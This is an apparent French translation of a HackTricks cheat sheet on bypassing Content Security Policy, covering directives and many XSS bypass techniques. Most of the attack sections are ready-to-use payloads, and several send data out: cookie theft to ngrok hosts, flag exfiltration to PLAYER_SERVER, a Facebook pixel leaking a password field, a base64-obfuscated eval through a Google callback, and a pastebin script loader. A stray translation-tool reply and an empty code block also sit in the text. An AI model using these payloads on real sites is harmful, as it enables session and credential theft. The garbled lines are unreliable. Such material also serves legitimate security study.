Content Security Policy (CSP) Bypass

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu’est-ce que le CSP

Content Security Policy (CSP) est reconnue comme une technologie de navigateur, principalement destinée à protéger contre des attaques telles que le cross-site scripting (XSS). Elle fonctionne en définissant et en précisant les chemins et les sources depuis lesquels le navigateur peut charger des ressources en toute sécurité. Ces ressources couvrent divers éléments tels que des images, des frames et du JavaScript. Par exemple, une politique peut autoriser le chargement et l’exécution de ressources depuis le même domaine (self), y compris des ressources inline et l’exécution de code sous forme de chaîne via des fonctions comme eval, setTimeout ou setInterval.

La mise en œuvre de CSP se fait via les entêtes de réponse ou en incorporant des balises meta dans la page HTML. Conformément à cette politique, les navigateurs appliquent ces règles de manière proactive et bloquent immédiatement toute violation détectée.

  • Implémenté via l’en-tête de réponse:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Implémenté via la balise meta:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

Le CSP peut être appliqué ou surveillé en utilisant ces en-têtes :

  • Content-Security-Policy: Applique la CSP ; le navigateur bloque toute violation.
  • Content-Security-Policy-Report-Only: Utilisé pour la surveillance ; signale les violations sans les bloquer. Idéal pour les tests en environnements de pré-production.

Définition des ressources

CSP restreint les origines pour le chargement du contenu actif et passif, contrôlant des aspects comme l’exécution de JavaScript inline et l’utilisation de eval(). Un exemple de politique est :

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Directives

  • script-src: Autorise des sources spécifiques pour JavaScript, y compris les URL, les scripts inline et les scripts déclenchés par des gestionnaires d’événements ou des feuilles de style XSLT.
  • default-src: Définit une politique par défaut pour la récupération des ressources lorsque des directives de récupération spécifiques sont absentes.
  • child-src: Spécifie les ressources autorisées pour les web workers et le contenu des frames intégrées.
  • connect-src: Restreint les URL pouvant être chargées via des interfaces comme fetch, WebSocket, XMLHttpRequest.
  • frame-src: Restreint les URL pour les frames.
  • frame-ancestors: Spécifie quelles sources peuvent intégrer la page actuelle, applicable aux éléments comme <frame>, <iframe>, <object>, <embed>, et <applet>.
  • img-src: Définit les sources autorisées pour les images.
  • font-src: Spécifie les sources valides pour les polices chargées via @font-face.
  • manifest-src: Définit les sources autorisées des fichiers manifeste d’application.
  • media-src: Définit les sources autorisées pour le chargement d’éléments média.
  • object-src: Définit les sources autorisées pour les éléments <object>, <embed>, et <applet>.
  • base-uri: Spécifie les URL autorisées pour le chargement via l’élément <base>.
  • form-action: Liste les points de terminaison valides pour la soumission de formulaires.
  • plugin-types: Restreint les types MIME que la page peut invoquer.
  • upgrade-insecure-requests: Indique aux navigateurs de réécrire les URL HTTP en HTTPS.
  • sandbox: Applique des restrictions similaires à l’attribut sandbox d’un <iframe>.
  • report-to: Spécifie un groupe vers lequel un rapport sera envoyé si la politique est violée.
  • worker-src: Spécifie les sources valides pour les scripts Worker, SharedWorker ou ServiceWorker.
  • prefetch-src: Spécifie les sources valides pour les ressources qui seront récupérées ou préchargées.
  • navigate-to: Restreint les URL vers lesquelles un document peut naviguer par n’importe quel moyen (a, form, window.location, window.open, etc.)

Sources

  • *: Autorise toutes les URL sauf celles avec les schémas data:, blob:, filesystem:.
  • 'self': Autorise le chargement depuis le même domaine.
  • 'data': Autorise le chargement de ressources via le schéma data (par ex., images encodées en Base64).
  • 'none': Bloque le chargement depuis toute source.
  • 'unsafe-eval': Autorise l’utilisation de eval() et méthodes similaires, déconseillé pour des raisons de sécurité.
  • 'unsafe-hashes': Active des gestionnaires d’événements inline spécifiques.
  • 'unsafe-inline': Autorise l’utilisation de ressources inline comme <script> ou <style>, déconseillé pour des raisons de sécurité.
  • 'nonce': Une liste blanche pour des scripts inline spécifiques utilisant un nonce cryptographique (nombre utilisé une fois).
  • If you have JS limited execution it’s possible to get a used nonce inside the page with doc.defaultView.top.document.querySelector("[nonce]") and then reuse it to load a malicious script (if strict-dynamic is used, any allowed source can load new sources so this isn’t needed), like in:
Charger un script en réutilisant le nonce ```html ```
  • 'sha256-<hash>': Met sur liste blanche les scripts avec un hash sha256 spécifique.
  • 'strict-dynamic': Permet le chargement de scripts depuis n’importe quelle source si celle-ci a été mise sur liste blanche via un nonce ou un hash.
  • 'host': Spécifie un hôte précis, par exemple example.com.
  • https:: Restreint les URLs à celles utilisant HTTPS.
  • blob:: Permet le chargement de ressources depuis des Blob URLs (par ex., des Blob URLs créées via JavaScript).
  • filesystem:: Permet le chargement de ressources depuis le système de fichiers.
  • 'report-sample': Inclut un extrait du code en infraction dans le rapport de violation (utile pour le débogage).
  • 'strict-origin': Similaire à ‘self’ mais s’assure que le niveau de sécurité du protocole des sources correspond à celui du document (seules les origines sécurisées peuvent charger des ressources depuis des origines sécurisées).
  • 'strict-origin-when-cross-origin': Envoie des URLs complètes pour les requêtes same-origin mais n’envoie que l’origine lorsque la requête est cross-origin.
  • 'unsafe-allow-redirects': Permet le chargement de ressources qui redirigeront immédiatement vers une autre ressource. À déconseiller car cela affaiblit la sécurité.

Règles CSP dangereuses

‘unsafe-inline’

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Payload fonctionnel: "/><script>alert(1);</script>

self + ‘unsafe-inline’ via Iframes

CSP bypass: self + ‘unsafe-inline’ with Iframes

‘unsafe-eval’

Caution

Cela ne fonctionne pas. Pour plus d’informations, consultez ceci.

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Payload fonctionnel :

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Si vous parvenez, d’une manière ou d’une autre, à faire en sorte qu’un code JS autorisé crée une nouvelle balise dans le DOM avec votre code JS, parce qu’un script autorisé la crée, la nouvelle balise .

Caractère générique (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Fonctionnel payload:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Absence d’object-src et de default-src

[!CAUTION] > Il semble que cela ne fonctionne plus

Content-Security-Policy: script-src 'self' ;

Payloads fonctionnels :

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Téléversement de fichier + ‘self’

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Si vous pouvez upload un fichier JS, vous pouvez bypass ce CSP :

Payload fonctionnel :

"/>'><script src="/uploads/picture.png.js"></script>

Cependant, il est très probable que le serveur valide le fichier uploadé et n’autorisera que l’upload de certains types de fichiers.

De plus, même si vous pouviez mettre du JS code inside dans un fichier en utilisant une extension acceptée par le serveur (comme : script.png) cela ne suffirait pas, car certains serveurs comme apache server choisissent le type MIME du fichier en fonction de l’extension et des navigateurs comme Chrome refuseront d’exécuter du Javascript dans quelque chose qui devrait être une image. “Hopefully”, il y a des erreurs. Par exemple, dans un CTF j’ai appris que Apache doesn’t know l’extension .wave, donc il ne la sert pas avec un MIME type like audio/*.

From here, if you find a XSS and a file upload, and you manage to find a misinterpreted extension, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot (some polyglot examples here).

Form-action

If not possible to inject JS, you could still try to exfiltrate for example credentials injecting a form action (and maybe expecting password managers to auto-fill passwords). You can find an example in this report. Also, notice that default-src does not cover form actions.

Third Party Endpoints + (‘unsafe-eval’)

Warning

Pour certains des payloads suivants unsafe-eval n’est même pas nécessaire.

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Charger une version vulnérable d’angular et exécuter du JS arbitraire :

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads utilisant Angular + une bibliothèque avec des fonctions qui retournent l’objet window (voir ce post):

Tip

L’article montre que vous pouvez charger toutes les bibliothèques depuis cdn.cloudflare.com (ou tout autre dépôt autorisé de bibliothèques JS), exécuter toutes les fonctions ajoutées de chaque bibliothèque, et vérifier quelles fonctions de quelles bibliothèques retournent l’objet window.

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS depuis un nom de classe:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Abuser du code JS de google recaptcha

Selon this CTF writeup vous pouvez abuser de https://www.google.com/recaptcha/ dans une CSP pour exécuter du code JS arbitraire en contournant la CSP:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Plus de payloads from this writeup:

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />

<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />

Abuser www.google.com pour un open redirect

L’URL suivante redirige vers example.com (d’après here):

https://www.google.com/amp/s/example.com/

Abuser de *.google.com/script.google.com

Il est possible d’abuser de Google Apps Script pour recevoir des informations dans une page hébergée sur script.google.com. Comme cela a été done in this report.

Endpoints tiers + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Des scénarios comme celui-ci, où script-src est défini sur self et où un domaine particulier est mis en liste blanche, peuvent être contournés en utilisant JSONP. Les endpoints JSONP autorisent des callbacks non sécurisés permettant à un attaquant d’exécuter du XSS. payload fonctionnel :

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>

JSONBee contient des endpoints JSONP prêts à l’emploi pour un CSP bypass de différents sites web.

La même vulnérabilité se produira si l’endpoint de confiance contient un Open Redirect, parce que si l’endpoint initial est de confiance, les redirections le sont aussi.

Abus de tiers

Comme décrit dans le following post, il existe de nombreux domaines tiers qui peuvent être autorisés quelque part dans la CSP et qui peuvent être abusés soit pour exfiltrate data soit pour execute JavaScript code. Quelques-uns de ces tiers sont :

EntitéDomaine autoriséCapacités
Facebookwww.facebook.com, *.facebook.comExfil
Hotjar*.hotjar.com, ask.hotjar.ioExfil
Jsdelivr*.jsdelivr.com, cdn.jsdelivr.netExec
Amazon CloudFront*.cloudfront.netExfil, Exec
Amazon AWS*.amazonaws.comExfil, Exec
Azure Websites*.azurewebsites.net, *.azurestaticapps.netExfil, Exec
Salesforce Heroku*.herokuapp.comExfil, Exec
Google Firebase*.firebaseapp.comExfil, Exec

Si vous trouvez l’un des domaines autorisés dans la CSP de votre cible, il y a de fortes chances que vous puissiez bypasser la CSP en vous inscrivant sur le service tiers et, soit exfiltrate data vers ce service, soit execute code.

Par exemple, si vous trouvez la CSP suivante :

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

ou

Content-Security-Policy​: connect-src www.facebook.com;​

Vous devriez être capable d’exfiltrer des données, de la même manière que cela a toujours été fait avec Google Analytics/Google Tag Manager. Dans ce cas, suivez ces étapes générales :

  1. Créez un compte Facebook Developer ici.
  2. Créez une nouvelle application “Facebook Login” et sélectionnez “Website”.
  3. Allez dans “Settings -> Basic” et récupérez votre “App ID”
  4. Sur le site cible depuis lequel vous voulez exfiltrer des données, vous pouvez exfiltrer des données en utilisant directement le gadget Facebook SDK “fbq” via un “customEvent” et le data payload.
  5. Allez dans l’“Event Manager” de votre App et sélectionnez l’application que vous avez créée (notez que l’event manager peut être trouvé à une URL similaire à : https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
  6. Sélectionnez l’onglet “Test Events” pour voir les événements envoyés par “votre” site web.

Ensuite, côté victime, exécutez le code suivant pour initialiser le Facebook tracking pixel afin de le pointer vers l’app-id du compte Facebook Developer de l’attaquant et émettre un custom event comme ceci :

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Quant aux sept autres domaines tiers spécifiés dans le tableau précédent, il existe de nombreuses autres façons de les abuser. Reportez-vous au blog post mentionné précédemment pour des explications supplémentaires sur d’autres abus de tiers.

Contournement via RPO (Relative Path Overwrite)

En plus de la redirection susmentionnée pour bypass les restrictions de path, il existe une autre technique appelée Relative Path Overwrite (RPO) qui peut être utilisée sur certains serveurs.

Par exemple, si CSP autorise le path https://example.com/scripts/react/, il peut être bypassed comme suit :

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Le navigateur chargera finalement https://example.com/scripts/angular/angular.js.

Ceci fonctionne parce que, pour le navigateur, vous chargez un fichier nommé ..%2fangular%2fangular.js situé sous https://example.com/scripts/react/, ce qui est conforme à CSP.

Ainsi, il sera décodé, demandant en fait https://example.com/scripts/react/../angular/angular.js, ce qui est équivalent à https://example.com/scripts/angular/angular.js.

En exploquant cette incohérence d’interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées.

La solution est de ne pas traiter %2f comme / côté serveur, en assurant une interprétation cohérente entre le navigateur et le serveur pour éviter ce problème.

Exemple en ligne: https://jsbin.com/werevijewa/edit?html,output

Exécution JS dans les iframes

Iframes in XSS, CSP and SOP

absence de base-uri

Si la directive base-uri est absente, vous pouvez en abuser pour effectuer une dangling markup injection.

De plus, si la page is loading a script using a relative path (comme <script src="/js/app.js">) utilisant un Nonce, vous pouvez abuser du base tag pour le faire charger depuis votre propre serveur et ainsi obtenir un XSS.
Si la page vulnérable est chargée via httpS, utilisez une URL httpS dans la base.

<base href="https://www.attacker.com/" />

Événements AngularJS

Une politique spécifique connue sous le nom de Content Security Policy (CSP) peut restreindre les événements JavaScript. Néanmoins, AngularJS introduit des événements personnalisés comme alternative. Dans un événement, AngularJS fournit un objet unique $event, faisant référence à l’objet d’événement natif du navigateur. Cet objet $event peut être exploité pour contourner la CSP. Notamment, dans Chrome, l’objet $event/event possède un attribut path, contenant un tableau d’objets impliqués dans la chaîne d’exécution de l’événement, l’objet window étant systématiquement positionné à la fin. Cette structure est primordiale pour les sandbox escape tactics.

En dirigeant ce tableau vers le filtre orderBy, il est possible de l’itérer, en exploitant l’élément terminal (l’objet window) pour appeler une fonction globale comme alert(). L’extrait de code ci‑dessous illustre ce processus :

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Cet extrait met en évidence l’utilisation de la directive ng-focus pour déclencher l’événement, en employant $event.path|orderBy pour manipuler le tableau path, et en utilisant l’objet window pour exécuter la fonction alert(), révélant ainsi document.cookie.

Trouvez d’autres Angular bypasses sur https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS et whitelisted domain

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Une politique CSP qui met en liste blanche des domaines pour le chargement de scripts dans une application Angular JS peut être contournée via l’invocation de fonctions de callback et certaines classes vulnérables. Des informations supplémentaires sur cette technique se trouvent dans un guide détaillé disponible sur ce git repository.

Payloads fonctionnels:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

D’autres endpoints d’exécution arbitraire JSONP peuvent être trouvés dans here (certains d’entre eux ont été supprimés ou corrigés)

Bypass via Redirection

Que se passe-t-il lorsque CSP rencontre une redirection côté serveur ? Si la redirection mène vers une origine différente qui n’est pas autorisée, elle échouera quand même.

Cependant, selon la description dans CSP spec 4.2.2.3. Paths and Redirects, si la redirection mène à un chemin différent, elle peut contourner les restrictions originales.

Voici un exemple :

<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Si CSP est défini sur https://www.google.com/a/b/c/d, étant donné que le chemin est pris en compte, les scripts /test et /a/test seront bloqués par CSP.

Cependant, le http://localhost:5555/301 final sera redirigé côté serveur vers https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Comme il s’agit d’une redirection, le chemin n’est pas pris en compte, et le script peut être chargé, contournant ainsi la restriction sur le chemin.

Avec cette redirection, même si le chemin est spécifié complètement, il sera quand même contourné.

Par conséquent, la meilleure solution est de s’assurer que le site n’a pas de vulnérabilités d’open redirect et qu’aucun domaine ne peut être exploité dans les règles CSP.

Contourner CSP avec dangling markup

Voir comment ici.

‘unsafe-inline’; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' signifie que vous pouvez exécuter n’importe quel script dans le code (XSS peut exécuter du code) et img-src * signifie que vous pouvez utiliser sur la page web n’importe quelle image provenant de n’importe quelle ressource.

Vous pouvez contourner cette CSP en exfiltrant les données via des images (dans ce cas précis le XSS abuse d’une CSRF où une page accessible par le bot contient un SQLi, et extrait le flag via une image):

<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>

Source : https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Vous pouvez aussi abuser de cette configuration pour charger du code javascript inséré dans une image. Par exemple, si la page permet de charger des images depuis Twitter. Vous pourriez concevoir une image spéciale, la téléverser sur Twitter et abuser de “unsafe-inline” pour exécuter un code JS (comme un XSS classique) qui va charger l’image, extraire le JS depuis celle-ci et l’exécuter : https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Avec Service Workers

La fonction des Service workers importScripts n’est pas limitée par le CSP :

Abusing Service Workers

Policy Injection

Recherche : https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Si un paramètre que vous envoyez est inséré dans la déclaration de la politique, alors vous pourriez altérer la politique d’une manière qui la rend inutile. Vous pourriez autoriser script ‘unsafe-inline’ avec n’importe lequel de ces contournements :

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Parce que cette directive va écraser les directives script-src existantes.
You can find an example here: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Avec Edge c’est beaucoup plus simple. Si vous pouvez ajouter dans le CSP simplement ceci : ;_ Edge supprimerait l’intégralité de la politique.
Example: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Attaque temporelle

Remarquez l’absence de la directive ‘unsafe-inline’
Cette fois, vous pouvez faire en sorte que la victime charge une page sous votre contrôle via XSS avec un <iframe. Cette fois, vous allez amener la victime à accéder à la page depuis laquelle vous voulez extraire des informations (CSRF). Vous ne pouvez pas accéder au contenu de la page, mais si d’une manière ou d’une autre vous pouvez contrôler le temps de chargement de la page vous pouvez extraire l’information dont vous avez besoin.

Cette fois un flag va être extrait : chaque fois qu’un char est correctement deviné via SQLi la response prend plus de temps à cause de la sleep function. Ensuite, vous pourrez extraire le flag:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}

function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}

async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}

let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"

async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}

run()
</script>

Via Bookmarklets

This attack would imply some social engineering where the attacker convinces the user to drag and drop a link over the bookmarklet of the browser. This bookmarklet would contain malicious javascript code that when drag&dropped or clicked would be executed in the context of the current web window, bypassing CSP and allowing to steal sensitive information such as cookies or tokens.

For more information consultez le rapport original ici.

CSP bypass by restricting CSP

In ce writeup CTF, CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via prototype pollution or dom clobbering allowed to abuse a different script to load an arbitrary script.

You can restrict a CSP of an Iframe with the csp attribute:

<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

Dans this CTF writeup, il a été possible via HTML injection de restreindre davantage une CSP, de sorte qu’un script empêchant la CSTI a été désactivé et que la vulnérabilité est devenue exploitable.
La CSP peut être rendue plus restrictive en utilisant des HTML meta tags et les inline scripts peuvent être désactivés en supprimant l’entrée permettant leur nonce et en activant un script inline spécifique via sha:

<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />

JS exfiltration with Content-Security-Policy-Report-Only

Si vous parvenez à faire en sorte que le serveur réponde avec l’en-tête Content-Security-Policy-Report-Only dont la valeur est contrôlée par vous (peut-être à cause d’un CRLF), vous pouvez le faire pointer vers votre serveur et si vous encapsulez le contenu JS que vous voulez exfiltrer avec <script> et comme il est très probable que unsafe-inline ne soit pas autorisé par la CSP, cela provoquera une erreur CSP et une partie du script (contenant les informations sensibles) sera envoyée au serveur via Content-Security-Policy-Report-Only.

Pour un exemple check this CTF writeup.

CVE-2020-6519

document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'

Leaking Information with CSP and Iframe

  • Un iframe est créé qui pointe vers une URL (appelons-la https://example.redirect.com) qui est autorisée par CSP.
  • Cette URL redirige ensuite vers une URL secrète (par ex. https://usersecret.example2.com) qui n’est pas autorisée par CSP.
  • En écoutant l’événement securitypolicyviolation, on peut récupérer la propriété blockedURI. Cette propriété révèle le domaine de l’URI bloquée, leaking le domaine secret vers lequel l’URL initiale a redirigé.

Il est intéressant de noter que des navigateurs comme Chrome et Firefox ont des comportements différents dans la gestion des iframes par rapport à CSP, conduisant à une leakage potentielle d’informations sensibles en raison d’un comportement indéfini.

Une autre technique consiste à exploiter le CSP lui‑même pour déduire le sous‑domaine secret. Cette méthode s’appuie sur un algorithme de recherche binaire et l’ajustement du CSP pour inclure des domaines spécifiques qui sont délibérément bloqués. Par exemple, si le sous‑domaine secret est composé de caractères inconnus, vous pouvez tester itérativement différents sous‑domaines en modifiant la directive CSP pour bloquer ou autoriser ces sous‑domaines. Voici un extrait montrant comment le CSP pourrait être configuré pour faciliter cette méthode :

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

En surveillant quelles requêtes sont bloquées ou autorisées par la CSP, on peut réduire les caractères possibles du sous-domaine secret, finissant par découvrir l’URL complète.

Les deux méthodes exploitent les subtilités de l’implémentation et du comportement de la CSP dans les navigateurs, montrant comment des politiques apparemment sécurisées peuvent involontairement leak des informations sensibles.

Trick from here.

Technologies non sûres pour contourner la CSP

Erreurs PHP lorsqu’il y a trop de paramètres

According to the last technique commented in this video, sending too many parameters (1001 GET parameters although you can also do it with POST params and more that 20 files). Any defined header() in the PHP web code won’t be sent because of the error that this will trigger.

Saturation du tampon de réponse PHP

PHP is known for buffering the response to 4096 bytes by default. Therefore, if PHP is showing a warning, by providing enough data inside warnings, the response will be sent before the CSP header, causing the header to be ignored.
Then, the technique consists basically in filling the response buffer with warnings so the CSP header isn’t sent.

Idea from this writeup.

Kill CSP via max_input_vars (headers already sent)

Because headers must be sent before any output, warnings emitted by PHP can invalidate later header() calls. If user input exceeds max_input_vars, PHP throws a startup warning first; any subsequent header('Content-Security-Policy: ...') will fail with “headers already sent”, effectively disabling CSP and allowing otherwise-blocked reflective XSS.

<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];

Je ne vois pas le contenu à traduire. Veuillez coller le texte de src/pentesting-web/content-security-policy-csp-bypass/README.md que vous souhaitez que je traduise.

# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"

# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent

Réécrire la page d’erreur

